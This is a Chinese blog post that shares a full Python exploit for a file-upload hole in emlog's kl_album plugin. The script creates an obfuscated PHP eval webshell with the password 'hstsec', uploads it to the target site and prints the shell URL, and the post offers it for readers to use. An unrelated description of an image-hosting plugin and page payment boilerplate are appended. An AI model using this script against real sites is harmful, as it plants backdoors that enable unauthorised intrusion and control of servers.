[python]emlog相册插件getshell exploit

昨天本站转载了emlog相册插件的漏洞分析文章,当然也有html版的getshell代码,喜欢的同学们可以直接用昨天文章中分享的代码。为了练习python,小弟用python又重写了一次,喜欢的同学们也一起研究一下吧。其实也比较简单。

python版源代码:

#!/usr/bin/env python

# -*- coding: gbk -*-

# -*- coding: utf_8 -*-

# Date: 2015/4/30

# Created by 独自等待

# 博客 http://www.waitalone.cn/

import sys, os, re, time

 

try:

import requests

except ImportError:

raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')

 

 

def usage():

# os.system(['clear', 'cls'][os.name == 'nt'])

print '+' + '-' * 60 + '+'

print '\t Python emlog相册插件getshell exploit'

print '\t Blog:http://www.waitalone.cn/'

print '\t\t Code BY: 独自等待'

print '\t\t Time:2015-04-30'

print '+' + '-' * 60 + '+'

if len(sys.argv) != 2:

print '用法: ' + os.path.basename(sys.argv[0]) + ' EMLOG 网站地址'

print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/'

sys.exit()

 

 

def getshell(url):

'''

emlog相册插件上传getshell函数

:param url: emlog url地址

:return: 返回得到的shell地址

'''

up_url = url + 'content/plugins/kl_album/kl_album_ajax_do.php'

shell = "<?php @preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'($_POST[\"hstsec\"])','a');?>"

filename = "oneok'.php"

with open(filename, 'wb') as shellok:

shellok.write(shell)

files = {

'Filedata': (filename, open(filename, 'rb'), 'text/json'),

'album': (None, 'waitalone.cn')

}

try:

up_res = requests.post(up_url, files=files).content

shellok = re.findall(re.compile(r'(?<=\.\./).+?(?=\',)'), up_res)

except Exception, msg:

print '\n[x] 发生错误了,卧槽!!!:', msg

else:

if shellok: return url + shellok[0]

 

 

if __name__ == '__main__':

usage()

start = time.time()

url = sys.argv[1]

if url[-1] != '/': url += '/'

ok = getshell(url)

try:

os.remove('oneok\'.php')

except Exception:

print '\n[x] 删除临时文件失败,请手工删除!'

if ok:

print '\n[!] 爷,人品暴发了,成功得到Shell:\n\n%s 密码:%s' % (ok, 'hstsec')

else:

print '\n[x] 报告大爷,本站不存在此漏洞!'

print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'

 

 

使用效果如下图:

转载于:https://www.cnblogs.com/h4ck0ne/p/5154638.html

贴图库是一家专业提供图片云存储与外链的服务商,以免费、高速、稳定为服务特色深受用户好评。   本插件可以将emlog上传的图片存储在贴图库云存储中并返回外链,无限空间、无限流量、无限数量、无水印、永久保存、高速cdn外链。   安装方法: 1、2种安装方式请任选一: ①下载--进入emlog后台--插件--安装插件--选择--上传②下载解压--通过FTP将tietuku文件夹上传到/content/plugins目录 2、进入emlog后台--插件--启用插件,再点击配置按钮进入配置界面 3、需要站长在插件管理界面设置您的accesskey、secretkey、相册ID(至关重要,一个填错将导致本插件无法使用),请前往贴图库开放平台 http://open.tietuku.com/ 获取(需要注册并登陆)。 4、配置完成,OK 完毕! 使用说明: 1、本插件和系统自带的附件上传可以并存,互不影响; 2、安装插件后,您上传的图片将永久保存在贴图库您的相册下,方便日后管理、导出、备份; 2、本插件为绿色插件,卸载后之前已经上传并外链的图片不受影响,并且永久有效; 3、本插件支持 emlog5.2.1,其他版本未经测试; 4、因开发时间制约,碎语没有加上,视开发时间和用户需求再考虑是否加上。。。 5、插件默认上传后直接插入编辑器中(HTML外链代码),如果有站长上传量比较大,可以联系我们去掉外链代码。 6、安装使用遇到问题请加群 11947583
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值